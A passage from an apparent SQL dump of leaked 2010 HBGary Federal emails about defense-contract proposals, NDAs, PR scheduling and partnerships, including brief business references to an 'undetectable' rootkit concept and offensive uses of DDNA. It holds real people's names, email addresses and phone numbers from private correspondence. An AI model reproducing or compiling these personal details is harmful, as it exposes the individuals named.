a\r\ntask\r\n> 3 development effort and integrate capabilities from that as they\r\nbecome\r\n> available to get the overall capability to market sooner rather than\r\n> later.\r\n> \r\n> I need to know what you are thinking as far as contributions and cost.\r\n> How far do you want to go?  Be just a vendor supplier or more?  What\r\n> writing do you want to contribute?\r\n> \r\n> I have Ed Wagner from First IO on board. We are supposed to talk this\r\n> afternoon.  \r\n> \r\n> Brian\r\n> \r\n> Brian Masterson \r\n> Northrop Grumman/Xetron \r\n> Chief Technology Officer, IO Programs \r\n> Ph: 513-881-3591 \r\n> Cell: 513-706-4848 \r\n> Fax: 513-881-3877 \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, March 03, 2010 9:35 AM\r\n> To: Masterson, Brian (Xetron); Christopher H. Starr\r\n> Subject: Status\r\n> \r\n> Brian/Chris,\r\n> \r\n> Just checking on status of potential teaming?\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14976,'aaron_hbgary_com/14976.html'),(3472,'2010-03-03','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001720.M143351P3547Q3472.eml','\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>,\"Rodriguez, Harold\" <Harold.Rodriguez@gd-ais.com>,\"Wilson, Ben N.\" <Ben.Wilson@gd-ais.com>,\"Kipper, Gregory A.\" <Gregory.Kipper@gd-ais.com>,\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>,\"Vela, Ryan\" <Ryan.Vela@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera (HBGary)\" <ted@hbgary.com>,\"Dawn Song\" <dawnsong@cs.berkeley.edu>,\"Phil Porras\" <porras@csl.sri.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,\"Brianne O\'Brien\" <brianneo@securedecisions.avi.com>,\"Laurin Buchanan\" <LaurinB@securedecisions.avi.com>,KennyP@SecureDecisions.avi.com,\"Bob Slapnik\" <bob@hbgary.com>,\"Adam Fraser\" <adam.fraser@pikewerks.com>,\"Irby Thompson\" <irby@pikewerks.com>,\"Kenny Prole\" <KennyP@avi.com>,andrew.tappert@pikewerks.com','FW from HBGary: Technical Area 3 Draft Outline','\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Wednesday, March 03, 2010 1:46 PM\r\nSubject: Re: Draft Outline\r\n\r\nHere is a an updated version.\r\n\r\nTed\r\n\r\n\r\n',12128,'aaron_hbgary_com/12128.html'),(3473,'2010-03-03','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297001720.M398392P3547Q3473.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: HBGary Federal News Announcements for March/April','Thanks Aaron. Greg will be out of town next week. If okay,&nbsp;I\'d like to use you as&nbsp;a&nbsp;&nbsp;media spokesperson&nbsp;if we&nbsp;get any inbound&nbsp;press calls while he is away in addition to using you for my HBGary Federal outreach. Best, Karen--- On Wed, 3/3/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: HBGary Federal News Announcements for March/AprilTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Wednesday, March 3, 2010, 10:40 AM\r\nI don\'t have anything right now, heads down working proposals for the next 10 days. &nbsp;Once I get my head out of this I will put some more thought into it. \r\n\r\nAaron\r\n\r\n\r\nOn Mar 3, 2010, at 1:27 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, I wanted to see if you are planning any news announcements for March or April. Right now, we are tentatively planning to announce our Verdasys OEM announcement on Monday March 15th. Penny has a few more that she would like to get out, and I wanted to see if you had anything coming up so I can help schedule them accordingly.\r\n&nbsp;\r\nThanks so much. Karen&nbsp;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',15813,'aaron_hbgary_com/15813.html'),(3474,'2010-03-03','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001720.M602473P3547Q3474.eml','\"Upchurch, Jason R.\" <jason.upchurch@gd-ais.com>,\"Rodriguez, Harold\" <Harold.Rodriguez@gd-ais.com>,\"Wilson, Ben N.\" <Ben.Wilson@gd-ais.com>,\"Kipper, Gregory A.\" <Gregory.Kipper@gd-ais.com>,\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>,\"Vela, Ryan\" <Ryan.Vela@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera (HBGary)\" <ted@hbgary.com>,\"Dawn Song\" <dawnsong@cs.berkeley.edu>,\"Phil Porras\" <porras@csl.sri.com>,\"Anita D\'Amico\" <anitad@securedecisions.avi.com>,\"Brianne O\'Brien\" <brianneo@securedecisions.avi.com>,\"Laurin Buchanan\" <LaurinB@securedecisions.avi.com>,KennyP@SecureDecisions.avi.com,\"Bob Slapnik\" <bob@hbgary.com>,\"Adam Fraser\" <adam.fraser@pikewerks.com>,\"Irby Thompson\" <irby@pikewerks.com>,\"Kenny Prole\" <KennyP@avi.com>,andrew.tappert@pikewerks.com,\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>','DCG (Darpa Cyber Genome) Technical Writing Status Update (entire team)','\r\n\r\n\r\n\r\n\r\nDCG (Darpa Cyber Genome) Technical Writing Status Update (entire team)\r\n\r\n\r\n\r\n\r\nWhen: Thursday, March 04, 2010 11:30 AM-12:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 866-765-5631, code 5057292#\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nDCG (Darpa Cyber Genome) Technical Writing Status Update (entire team)\r\n\r\n866-765-5631, code 5057292#\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3035,'aaron_hbgary_com/3035.html'),(3475,'2010-03-03','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297001720.M828416P3547Q3475.eml','aaron@hbgary.com','Alarm - TA3 Discussions','March 3, 2010 2:00 PM : TA3 Discussions \r\n',10723,'aaron_hbgary_com/10723.html'),(3476,'2010-03-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001721.M211608P3547Q3477.eml','aaron@hbgary.com','SBIR Navy','March 24, 2010:	Deadline for receipt of proposals by 6:00 a.m. ET --\r\nplan ahead and submit early.\r\n\r\nhttp://www.acq.osd.mil/osbp/sbir/solicitations/sttr10A/navy10A.htm\r\n\r\n\r\n\r\nN10A-T035                          TITLE: Mathematically Rigorous\r\nMethods for Determining Software Quality\r\n\r\nTECHNOLOGY AREAS: Information Systems\r\n\r\nOBJECTIVE: Develop mathematically rigorous methods for determining the\r\nquality of software modules when the system implementation of the code\r\nis not well known, i.e., input parameter values are unlimited.  Of\r\nparticular interest is the ability to independently determine software\r\nvulnerabilities that can be intentionally exploited or unintentionally\r\ntriggered.\r\n\r\nDESCRIPTION: Accreditation of software systems is currently possible\r\nonly on a system-basis in the operational environment it is to be used.\r\n  NOTE:  the intent of this topic is to manage general cases that don’t\r\nmeet type accreditation methodologies.  A fundamental understanding of\r\nsoftware vulnerabilities does not exist including, but not limited to\r\nloops, recursive algorithms, access to memory registers, trap doors,\r\ninterface with the operating system, and routine calls. This fundamental\r\nunderstanding is necessary to develop tools to have provable software\r\nperformance with out knowing input parameter ranges and implementation\r\nof the software module.\r\n\r\nStatistical methods have proven to be too coarse for the required level\r\nof analysis. Model-based methods offer promise, but again, can only\r\noffer performance equivalent to the granularity of the model. Preferred\r\napproaches would be mathematically rigorous, or highly detailed analytic\r\nmethods.\r\n\r\nPHASE I: Develop the mathematical or analytic-based software quality\r\ndetermination technique.    Validation of selected software modules\r\nwould be a plus.\r\n\r\nPHASE II: Develop computer algorithms based on the basic Phase I work.\r\nValidate the algorithms is several test scenarios with software modules\r\nof known quality.\r\n\r\nPHASE III: Analyze commercial and military software modules.\r\nCommercialize the computer algorithms. Determine the extensibility of\r\nthe module-based approach through comparison with current system-based\r\nmethods.\r\n\r\nPRIVATE SECTOR COMMERCIAL POTENTIAL/DUAL-USE APPLICATIONS: Commercial\r\nindustry has needs similar to the military in protecting computer\r\ninformation systems and the critical infrastructure which they monitor\r\nand control.   Cost effective, provable methods for software quality are\r\nalso important to the commercial sector.\r\n\r\nREFERENCES:\r\n1.  http://www.cs.wisc.edu/wisa/papers/pepm06/RBL06.pdf\r\n\r\n2.  http://www.cs.wisc.edu/wisa/papers/aplas05/\r\n\r\n3.  http://www.cs.wisc.edu/wisa/papers/wcvs05/BRM+05.pdf\r\n\r\nKEYWORDS: software reuse; commercial software; operating system;\r\nsoftware vulnerability; software accreditation; software validation\r\n',15108,'aaron_hbgary_com/15108.html'),(3477,'2010-03-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001721.M24625P3547Q3476.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: HBGary Federal News Announcements for March/April','Sounds Good.AaronOn Mar 3, 2010, at 4:27 PM, Karen Burke wrote:Thanks Aaron. Greg will be out of town next week. If okay,&nbsp;I\'d like to use you as&nbsp;a&nbsp;&nbsp;media spokesperson&nbsp;if we&nbsp;get any inbound&nbsp;press calls while he is away in addition to using you for my HBGary Federal outreach. Best, Karen--- On Wed, 3/3/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: HBGary Federal News Announcements for March/AprilTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Wednesday, March 3, 2010, 10:40 AM\r\nI don\'t have anything right now, heads down working proposals for the next 10 days. &nbsp;Once I get my head out of this I will put some more thought into it. \r\n\r\nAaron\r\n\r\n\r\nOn Mar 3, 2010, at 1:27 PM, Karen Burke wrote:\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, I wanted to see if you are planning any news announcements for March or April. Right now, we are tentatively planning to announce our Verdasys OEM announcement on Monday March 15th. Penny has a few more that she would like to get out, and I wanted to see if you had anything coming up so I can help schedule them accordingly.\r\n&nbsp;\r\nThanks so much. Karen&nbsp;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n      \r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',4300,'aaron_hbgary_com/4300.html'),(3478,'2010-03-03','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001721.M520744P3547Q3478.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Pikewerks','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, Greg and Ted,\r\n\r\n&nbsp;\r\n\r\nBased on everything I&#8217;ve ever heard from Pikewerks is\r\nthat they live in the Linux and embedded platform arenas and have no designs on\r\nWindows. &nbsp;And since HBGary can barely spell Linux then this appears to be\r\na good match.&nbsp; Their main product is Electronic Armor, a Linux software\r\nprotection system.&nbsp; They have memory forensics for Linux (Second Look),\r\nbut are having a hard time generating sales from it.&nbsp; They are very\r\ninterested in HBGary eventually incorporating their Linux memory system into\r\nour products on a licensing basis.\r\n\r\n&nbsp;\r\n\r\nIt appears HBGary is ahead of them for binary analysis and\r\nthey have nothing resembling DDNA.&nbsp; Question:&nbsp; Can HBGary create\r\nLinux DDNA software without giving Pikewerks the secret sauce?&nbsp; For\r\nexample, could Pikewerks &#8220;feed&#8221; a DDNA engine the raw material that\r\nis used to create DDNA scores and reports?\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5267,'aaron_hbgary_com/5267.html'),(3479,'2010-03-03','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001721.M752558P3547Q3479.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: Pikewerks','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWe are getting a very comprehensive\r\nNDA in place that will protect us from them using ANYTHING coming up in these\r\ndiscussions.&nbsp; That said, I really think that it wouldn&#8217;t be hard for us to do a\r\nDDNA for Linux or Unix if we had an RE that knew that environment.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Wednesday, March 03, 2010 3:11 PM\r\nTo: \'Aaron Barr\'; \'Greg Hoglund\'; \'Ted Vera\'\r\nCc: \'Penny C. Hoglund\'\r\nSubject: Pikewerks\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron, Greg and Ted,\r\n\r\n&nbsp;\r\n\r\nBased on everything I&#8217;ve ever heard from Pikewerks is that\r\nthey live in the Linux and embedded platform arenas and have no designs on\r\nWindows. &nbsp;And since HBGary can barely spell Linux then this appears to be\r\na good match.&nbsp; Their main product is Electronic Armor, a Linux software\r\nprotection system.&nbsp; They have memory forensics for Linux (Second Look),\r\nbut are having a hard time generating sales from it.&nbsp; They are very\r\ninterested in HBGary eventually incorporating their Linux memory system into\r\nour products on a licensing basis.\r\n\r\n&nbsp;\r\n\r\nIt appears HBGary is ahead of them for binary analysis and\r\nthey have nothing resembling DDNA.&nbsp; Question:&nbsp; Can HBGary create\r\nLinux DDNA software without giving Pikewerks the secret sauce?&nbsp; For\r\nexample, could Pikewerks &#8220;feed&#8221; a DDNA engine the raw material that is used to\r\ncreate DDNA scores and reports?\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1017,'aaron_hbgary_com/1017.html'),(3480,'2010-03-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001721.M941731P3547Q3480.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,','Re: Pikewerks','Mark is a pretty hard-core linux developer.  He said he thinks if he had\r\na look at the windows DDNA traits he may be able to port them to their\r\nlinux equivalents (where there is an equivalent).\r\n\r\nOn 3/3/10 4:13 PM, Penny Leavy-Hoglund wrote:\r\n> We are getting a very comprehensive NDA in place that will protect us from\r\n> them using ANYTHING coming up in these discussions.  That said, I really\r\n> think that it wouldn\'t be hard for us to do a DDNA for Linux or Unix if we\r\n> had an RE that knew that environment.\r\n> \r\n>  \r\n> \r\n> From: Bob Slapnik [mailto:bob@hbgary.com] \r\n> Sent: Wednesday, March 03, 2010 3:11 PM\r\n> To: \'Aaron Barr\'; \'Greg Hoglund\'; \'Ted Vera\'\r\n> Cc: \'Penny C. Hoglund\'\r\n> Subject: Pikewerks\r\n> \r\n>  \r\n> \r\n> Aaron, Greg and Ted,\r\n> \r\n>  \r\n> \r\n> Based on everything I\'ve ever heard from Pikewerks is that they live in the\r\n> Linux and embedded platform arenas and have no designs on Windows.  And\r\n> since HBGary can barely spell Linux then this appears to be a good match.\r\n> Their main product is Electronic Armor, a Linux software protection system.\r\n> They have memory forensics for Linux (Second Look), but are having a hard\r\n> time generating sales from it.  They are very interested in HBGary\r\n> eventually incorporating their Linux memory system into our products on a\r\n> licensing basis.\r\n> \r\n>  \r\n> \r\n> It appears HBGary is ahead of them for binary analysis and they have nothing\r\n> resembling DDNA.  Question:  Can HBGary create Linux DDNA software without\r\n> giving Pikewerks the secret sauce?  For example, could Pikewerks \"feed\" a\r\n> DDNA engine the raw material that is used to create DDNA scores and reports?\r\n> \r\n>  \r\n> \r\n> Bob \r\n> \r\n>  \r\n> \r\n> \r\n\r\n',14500,'aaron_hbgary_com/14500.html'),(3481,'2010-03-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001724.M421793P3547Q3481.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: FW: Draft Teaming Agreement','I haven\'t received the TA back from Kevin yet, but this is what Penny\r\nsent him.\r\n\r\nTed\r\n\r\n-------- Original Message --------\r\nSubject: FW: Draft Teaming Agreement\r\nDate: Wed, 3 Mar 2010 14:22:03 -0800\r\nFrom: Penny Leavy-Hoglund \r\nTo: \'Kevin Roe\' ,	\'Ted Vera\' \r\n\r\nKevin,\r\n\r\nCan you please add IP protection to this teaming agreement?\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Wednesday, March 03, 2010 11:00 AM\r\nTo: Penny Leavy\r\nSubject: Fwd: Draft Teaming Agreement\r\n\r\nWe\'ll need to put SOW details in attachment A, including IP.\r\n\r\nTed\r\n\r\n',3982,'aaron_hbgary_com/3982.html'),(3482,'2010-03-03','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001724.M628614P3547Q3482.eml','\"Aaron Barr\" <aaron@hbgary.com>','can you dial in now?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8780,'aaron_hbgary_com/8780.html'),(3483,'2010-03-03','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001724.M820823P3547Q3483.eml','all@hbgary.com','While I am out of the Office','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI will be out of the office at RSA March 4th and\r\n5th.&nbsp; I will have access to my cell phone and email.&nbsp; Greg and I\r\nwill be out of the country March 6th thru 13th.&nbsp; In my absence.\r\nBob will handle any sales issues.&nbsp; Scott Pease will handle any other issues.&nbsp; \r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',735,'aaron_hbgary_com/735.html'),(3484,'2010-03-04','\"Kevin Roe\" <kevin.roe@att.net>','/aaron@hbgary.com/new/1297001726.M381342P3547Q3484.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,','Re: Need Stronger NDA','Penny,\r\n\r\n    I have attached a revised version of the NDA for your \r\nconsideration.  The edits are colored in Word edit tracking to make it \r\neasier to see what I modified.  If it is too strong, it can be reduced.\r\n\r\n                                           Kevin\r\n\r\n \r\n>\r\n\r\n',8785,'aaron_hbgary_com/8785.html'),(3485,'2010-03-04','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001726.M579834P3547Q3485.eml','\"Kevin Roe\" <kevin.roe@att.net>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Kevin Roe\" <kevin.roe@att.net>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','RE: Need Stronger NDA','Penny,\r\n\r\nShould we have the subs sign this new NDA now or can we wait until after we\r\nwin the award?  They may get exposed to some ideas during the proposal\r\nwriting stage, but they won\'t see any real IP until after we win and the\r\nwork starts.\r\n\r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\nOffice 301-652-8885 x104  | Mobile 240-481-1419\r\nwww.hbgary.com  |  bob@hbgary.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: Kevin Roe [mailto:kevin.roe@att.net] \r\nSent: Wednesday, March 03, 2010 7:35 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: \'Arnold de Guzman\'; \'Bob Slapnik\'; \'Aaron Barr\'\r\nSubject: Re: Need Stronger NDA\r\n\r\nPenny,\r\n\r\n    I have attached a revised version of the NDA for your consideration.\r\nThe edits are colored in Word edit tracking to make it easier to see what I\r\nmodified.  If it is too strong, it can be reduced.\r\n\r\n                                           Kevin\r\n\r\n \r\n>\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2718 - Release Date: 03/03/10\r\n14:34:00\r\n\r\n',15945,'aaron_hbgary_com/15945.html'),(3486,'2010-03-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001726.M754399P3547Q3486.eml','\"Mike Toth\" <mbt.rbtoth@starpower.net>','Status','Hey Mike,\r\n\r\nThanks for the call.  Ted and I are neck deep in proposals (4 of them) for the next few weeks.  Your help would be...well...helpful, but we are really watching our budget until we get a first steady gigs in.\r\n\r\nWe did hire our first employee, we have some short-term reverse engineering work (it reads as a short term contract but we have been doing the same work for 3 years for this group).  Actually its an old employee.\r\n\r\nI would like to catch up maybe next week if your available?  Lunch?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4693,'aaron_hbgary_com/4693.html'),(3487,'2010-03-04','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001726.M949132P3547Q3487.eml','\"Aaron Barr\" <aaron@hbgary.com>','Two things','\r\n\r\n\r\n\r\n\r\nTwo things\r\n\r\n\r\n\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I have to know if you want me to insert Greg&#8217;s new rootkit concept as an option into our current proposal.&nbsp; If so, I need data (cost and input) for the proposal by COB today, tomorrow at the latest.\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; For the next proposal, would you be interested in teaming to use AFR as a discriminator?&nbsp; I need to convince the proposal lead but if you are interested, I will try.&nbsp; Could make for a story that no one else would think to tell.&nbsp; \r\n\r\nBrian\r\n\r\n\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',6463,'aaron_hbgary_com/6463.html'),(3488,'2010-03-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001727.M190258P3547Q3488.eml','\"Bob Slapnik\" <bob@hbgary.com>','Fwd: Two things','Rootkit - nextgen. &nbsp;Is this written down anywhere? &nbsp;Where is the paper to use DDNA as a memory module? &nbsp;I can get funding for these with a customer if we had them available.Begin forwarded message:From: \"Masterson, Brian (Xetron)\" &lt;Brian.Masterson@ngc.com&gt;Date: March 4, 2010 8:25:38 AM ESTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: Two things\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I have to know if you want me to insert Greg’s new rootkit concept as an option into our current proposal.&nbsp; If so, I need data (cost and input) for the proposal by COB today, tomorrow at the latest.2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; For the next proposal, would you be interested in teaming to use AFR as a discriminator?&nbsp; I need to convince the proposal lead but if you are interested, I will try.&nbsp; Could make for a story that no one else would think to tell.&nbsp; BrianBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',5680,'aaron_hbgary_com/5680.html'),(3489,'2010-03-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001729.M856450P3547Q3489.eml','\"Ted Vera\" <ted@hbgary.com>','this may seem convoluted','\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2767,'aaron_hbgary_com/2767.html'),(3490,'2010-03-04','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001732.M978754P3547Q3490.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Two things','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat do you mean by rootkit &#8211; nextgen?&nbsp; Are you talking about\r\nthe rootkit we developed for GD?&nbsp; \r\n\r\n&nbsp;\r\n\r\nI don&#8217;t know anything about &#8220;DDNA as a memory module&#8221;.&nbsp; Can you\r\nelaborate?&nbsp; Does a paper exist on this topic?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, March 04, 2010 8:28 AM\r\nTo: Bob Slapnik\r\nSubject: Fwd: Two things\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nRootkit - nextgen. &nbsp;Is this written down anywhere?\r\n&nbsp;Where is the paper to use DDNA as a memory module? &nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI can get funding for these with a customer if we had them\r\navailable.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\n&quot;Masterson,\r\nBrian (Xetron)&quot; &lt;Brian.Masterson@ngc.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nMarch\r\n4, 2010 8:25:38 AM EST\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\n&quot;Aaron\r\nBarr&quot; &lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nTwo things\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nI have to know if you want me\r\nto insert Greg&#8217;s new rootkit concept as an option into our current\r\nproposal.&nbsp; If so, I need data (cost and input) for the proposal by COB today, tomorrow\r\nat the latest.\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFor the next proposal, would\r\nyou be interested in teaming to use AFR as a discriminator?&nbsp; I need to\r\nconvince the proposal lead but if you are interested, I will try.&nbsp; Could\r\nmake for a story that no\r\none else would think to tell.&nbsp; \r\n\r\nBrian\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian\r\nMasterson\r\nNorthrop\r\nGrumman/Xetron\r\nChief\r\nTechnology Officer, IO Programs\r\nPh:\r\n513-881-3591\r\nCell:\r\n513-706-4848\r\nFax:\r\n513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2718 - Release Date: 03/03/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4321,'aaron_hbgary_com/4321.html'),(3491,'2010-03-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001733.M185255P3547Q3491.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Two things','The Rootkit that Greg briefed to GD that is the rootkit of all rootkits, undetectable.I thought you told me we did a paper on DDNA being used offensively, or at least parts of it. &nbsp;No?On Mar 4, 2010, at 8:55 AM, Bob Slapnik wrote:What do you mean by rootkit – nextgen?&nbsp; Are you talking about the rootkit we developed for GD?&nbsp;&nbsp;I don’t know anything about “DDNA as a memory module”.&nbsp; Can you elaborate?&nbsp; Does a paper exist on this topic?&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, March 04, 2010 8:28 AMTo:&nbsp;Bob SlapnikSubject:&nbsp;Fwd: Two things&nbsp;Rootkit - nextgen. &nbsp;Is this written down anywhere? &nbsp;Where is the paper to use DDNA as a memory module? &nbsp;&nbsp;I can get funding for these with a customer if we had them available.&nbsp;Begin forwarded message:From:&nbsp;\"Masterson, Brian (Xetron)\" &lt;Brian.Masterson@ngc.com&gt;Date:&nbsp;March 4, 2010 8:25:38 AM ESTTo:&nbsp;\"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: Two things&nbsp;1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I have to know if you want me to insert Greg’s new 